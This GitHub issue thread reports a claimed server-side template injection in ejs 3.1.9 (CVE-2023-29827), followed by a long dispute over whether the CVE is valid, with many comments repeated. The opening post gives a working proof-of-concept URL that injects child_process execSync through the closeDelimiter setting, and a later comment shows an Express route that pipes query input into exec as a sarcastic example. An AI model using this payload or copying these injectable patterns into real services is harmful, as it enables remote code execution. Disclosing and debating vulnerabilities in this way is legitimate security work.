mde / ejs

Embedded JavaScript templates -- http://ejs.co

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

EJS, Server side template injection ejs@3.1.9 Latest

pperk opened this issue · comments

commented

If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.It can easily bypass the fix for CVE-2022-29078 in version 3.1.7.
15ee698
index.js

const express = require('express')
const app = express()
const port = 3000

app.set('view engine', 'ejs');

app.get('/page', (req,res) => {
    res.render('page', req.query);
})

app.listen(port, () => {
  console.log("Example app listening on port ${port}")
})

page.ejs

%%1");process.mainModule.require('child_process').execSync('calc');//

package.json

{
  "dependencies": {
    "ejs": "^3.1.9",
    "express": "^4.18.2"
  }
}

The poc looks like this:

http://127.0.0.1:3000/page?settings[view%20options][closeDelimiter]=1")%3bprocess.mainModule.require('child_process').execSync('calc')%3b//

Come to this branch option to realize code splicing execution.

ejs/lib/ejs.js

Line 844 in aed0124

this.source += ' ; __append("' + line.replace(d + d + c, d + c) + '")' + '\n';

image

@pperk this issue was closed shortly after the initial report without comment, can you shed details, was this a false report?

I noticed that there was apparently a CVE assigned for this issue, CVE-2023-29827

Is there any plan to fix this issue . Its affecting us also !!

This is clearly addressed in the SECURITY.md for the project: https://github.com/mde/ejs/blob/main/SECURITY.md#out-of-scope-vulnerabilities

In short, don't ever, ever give unfiltered access to EJS's render function. Always, always check your inputs.

ejs@3.1.9 version is showing high severity by Mend scan for React JS application. Please suggest how to get rid of this issue since 3.1.9 is the latest version available in NPM.

image

I do not control any of these supposed vulnerability databases. I have sent an email to NVD. I have sent an issue to GH. Please feel free to contact those entities as well, regarding this issue.

With this approach of detecting vulnerabilities, everything becomes vulnerable, I mean...

index.js

const express = require("express");
const { exec } = require("node:child_process");

const app = express();
const port = 3000;

app.get("/page", async (req, res) => {
  exec(`echo ${req.query.script} | python`);
  res.send("?script is fed to python, please don't hack me.");
});

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`);
});

everyone, please remove python from your computers.

any idea on when we can expect a fix for this CVE ?

Please read the thread. It's not a vulnerability, and I have no control of the databases. Please contact GitHub and NVD about this.

As an FYI @mde It looks like the organisation that assigned the CVE Number is MITRE themselves - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-29827

So I think you might need to contact MITRE directly through https://cveform.mitre.org/ and requesting a Rejection of the CVE, as they are the ones who can invalidate it. Github and NVD are just feeding this CVE through from MITRE.

image

The latest EJS report indicates that the Blackduck scan has been provided, but it states that the issue still persists.

@mde

It looks like they have at least noted it as disputed in the database. I have also contacted MITRE directly through the form. (Thanks to @meganwalker-ibm for the info!)

Dear all,
After thoroughly investigating CVE-2023-29827, we have concluded that this CVE should not be considered valid. The core issue in question is related to the use of the EJS render function without proper input validation.
As clearly indicated in the EJS's Security Policy (https://github.com/mde/ejs/blob/main/SECURITY.md#out-of-scope-vulnerabilities), it is inherently insecure to give end-users unfettered access to the render method.
In the case of this issue, the reported vulnerability is a result of unfiltered access to the render function, which is not a recommended practice as per the EJS's Security Policy. As a result, the reported CVE-2023-29827 does not represent a valid vulnerability in the EJS library itself.
Given these facts, we have decided to remove CVE-2023-29827 from our database. It's always essential for developers to remember to validate their inputs, especially when dealing with functions like render that have the capability to execute code.
Thank you all for your understanding and cooperation.
Mend- Security Analyst

Can you guys solve this problem ? May I know how? I've tried downgrading it still doesn't work.

@kraison1:

Can you guys solve this problem? May I know how? I've tried downgrading it still doesn't work.

Maybe you can find a way to reason with Mitre corporation. My experience on two different projects is that they will add the "Disputed" annotation to their report and never do anything else, include responding to your emails.

I shared my experience with Veracode on StackOverflow. Some months later, this started over with Mitre, and the frustration of dealing with them drove me from doing any open source work for a year. Something has to be done to tame these companies. They do extremely important work, but their path seems to end at reporting potential vulnerabilities: verifying them, handling disputes, etc. seems to be skipped altogether.

@kraison1:

Can you guys solve this problem? May I know how? I've tried downgrading it still doesn't work.

Maybe you can find a way to reason with Mitre corporation. My experience on two different projects is that they will add the "Disputed" annotation to their report and never do anything else, include responding to your emails.

I shared my experience with Veracode on StackOverflow. Some months later, this started over with Mitre, and the frustration of dealing with them drove me from doing any open source work for a year. Something has to be done to tame these companies. They do extremely important work, but their path seems to end at reporting potential vulnerabilities: verifying them, handling disputes, etc. seems to be skipped altogether.

@CrossEye
I ran into an issue while using "react-scripts (CRA)", so I made a switch to "Vitejs plugin-react" instead. Would any of these solutions be helpful to you?

However, if he's unwilling to update, there’s not much I can do to assist further.

@kraison1:

I ran into an issue while using "react-scripts (CRA)", so I made a switch to "Vitejs plugin-react" instead. Would any of these solutions be helpful to you?

I only ended up here because a colleague now has a security tool pinging his projects over this supposed vulnerability, and he knew that I had experience getting another security reporter (Veracode) to actually withdraw a disputed one. However, soon after Mitre came along and recreated it, and for over a year now has been entirely unresponsive to my attempts to get the CVE rejected.

I know nothing about ejs. I've only read this thread, but from here it's pretty clear that this is a false vulnerability.

However, if he's unwilling to update, there’s not much I can do to assist further.

If by "he" you mean whoever owns this project, then there's nothing he can do. There is no vulnerability to fix. Somehow he needs to convince Mitre to change this from DISPUTED to REJECTED. I personally have had no luck in this; maybe others can figure it out.

@kraison1:

I ran into an issue while using "react-scripts (CRA)", so I made a switch to "Vitejs plugin-react" instead. Would any of these solutions be helpful to you?

I only ended up here because a colleague now has a security tool pinging his projects over this supposed vulnerability, and he knew that I had experience getting another security reporter (Veracode) to actually withdraw a disputed one. However, soon after Mitre came along and recreated it, and for over a year now has been entirely unresponsive to my attempts to get the CVE rejected.

I know nothing about ejs. I've only read this thread, but from here it's pretty clear that this is a false vulnerability.

However, if he's unwilling to update, there’s not much I can do to assist further.

If by "he" you mean whoever owns this project, then there's nothing he can do. There is no vulnerability to fix. Somehow he needs to convince Mitre to change this from DISPUTED to REJECTED. I personally have had no luck in this; maybe others can figure it out.

I believe "MDE" may not fully grasp the origins of the error. Could you please elaborate on "CVE-2023-29827" ?, An example of an attack exploiting this vulnerability would be illuminating for "MDE" , helping to pinpoint the exact cause of the error.

@kraison1: Remember that the source of that CVE is this issue itself. The user @pperk reported a vulnerability, and it got picked up by Mitre, through some path. I don't know if pperk is simply innocently wrong or is one of those trolls who creates imaginary vulnerabilities in order to collect bounties.

Note the comment above that shows that another security vendor has removed this from their own database for the reasons @mde describes above. (And @Alina-Podoba, if you feel like looking at other ones, please check out CVE-2021-42581 and CVE-2022-29351, two that I personally know are false.) Or note the snarkier comment from @lebbe, who demonstrates well why this is absolutely not a vulnerability.

An example of an attack exploiting this vulnerability would be illuminating for "MDE" , helping to pinpoint the exact cause of the error.

The OP has an example. The trouble is the example is very much like demonstrating a SQL-injection attack and therefore recommending that SQL be disabled everywhere. The problem is not in SQL or ejs; they're doing what they are designed to do. It's in people who allow arbitrary users to use them without sanitizing their inputs. ejs cannot -- and should not even try to -- guard against that.

@kraison1: Remember that the source of that CVE is this issue itself. The user @pperk reported a vulnerability, and it got picked up by Mitre, through some path. I don't know if pperk is simply innocently wrong or is one of those trolls who creates imaginary vulnerabilities in order to collect bounties.

Note the comment above that shows that another security vendor has removed this from their own database for the reasons @mde describes above. (And @Alina-Podoba, if you feel like looking at other ones, please check out CVE-2021-42581 and CVE-2022-29351, two that I personally know are false.) Or note the snarkier comment from @lebbe, who demonstrates well why this is absolutely not a vulnerability.

An example of an attack exploiting this vulnerability would be illuminating for "MDE" , helping to pinpoint the exact cause of the error.

The OP has an example. The trouble is the example is very much like demonstrating a SQL-injection attack and therefore recommending that SQL be disabled everywhere. The problem is not in SQL or ejs; they're doing what they are designed to do. It's in people who allow arbitrary users to use them without sanitizing their inputs. ejs cannot -- and should not even try to -- guard against that.

This question comes from @pperk. Please give a clear answer. If not then We, as EJS users, must email Miter for assistance in resolving the issue. This can have a positive impact on many people.

@kraison1:

This question comes from @pperk. Please give a clear answer.

I'm sorry, but I'm really not understanding you. Are you saying you are @pperk? Or merely that @pperk opened this issue? If it's the latter and that user is just a security bounty troll, you're not likely to hear much. In any case, the account is six years old and has had a total of ten activities on it in that time, creating a few repositories and a few issues. This is the only activity this year.

Are you asking @pperk for an answer? Are you asking @mde for one? Are you asking me? And what precisely is the question that needs an answer?

If not then We, as EJS users, must email Miter for assistance in resolving the issue. This can have a positive impact on many people.

Good luck with that. I just documented the response I got fifteen months after I started seeking one. The answer in essence was "Bugger off".

@kraison1:

This question comes from @pperk. Please give a clear answer.

I'm sorry, but I'm really not understanding you. Are you saying you are @pperk? Or merely that @pperk opened this issue? If it's the latter and that user is just a security bounty troll, you're not likely to hear much. In any case, the account is six years old and has had a total of ten activities on it in that time, creating a few repositories and a few issues. This is the only activity this year.

Are you asking @pperk for an answer? Are you asking @mde for one? Are you asking me? And what precisely is the question that needs an answer?

If not then We, as EJS users, must email Miter for assistance in resolving the issue. This can have a positive impact on many people.

Good luck with that. I just documented the response I got fifteen months after I started seeking one. The answer in essence was "Bugger off".

I am here to assist, and I kindly request @pperk to clarify whether EJS still encounters the aforementioned problems. Addressing these issues is imperative as they influence numerous users.

If @pperk doesn't respond to this, I urge others who come across this message to report the situation directly to Miter. This step is crucial to ensure there are no known vulnerabilities, thereby potentially offering further support to the community.

If @pperk doesn't respond to this, I urge others who come across this message to report the situation directly to Miter. This step is crucial to ensure there are no known vulnerabilities, thereby potentially offering further support to the community.

I hope it will help. Maybe if we inundate them with requests, they'll take it seriously. But my experience so far is that they are in the business of reporting suspected vulnerabilities, not in determining whether the vulnerabilities are real, and certainly not in cleaning up behind themselves if they get it wrong.

@mde: My time is freeing up again to look into this and related issues. Before I do, though, has there been any change?

I hate to ask this, but has there been any updates to have the CVE revoked?

I realize it's has 'disputed' in the description, but it's been like this for 8 months. I'm sure there are other folks w/security teams (like me) who are getting told to get rid of this security flag or dump the offender, despite the description.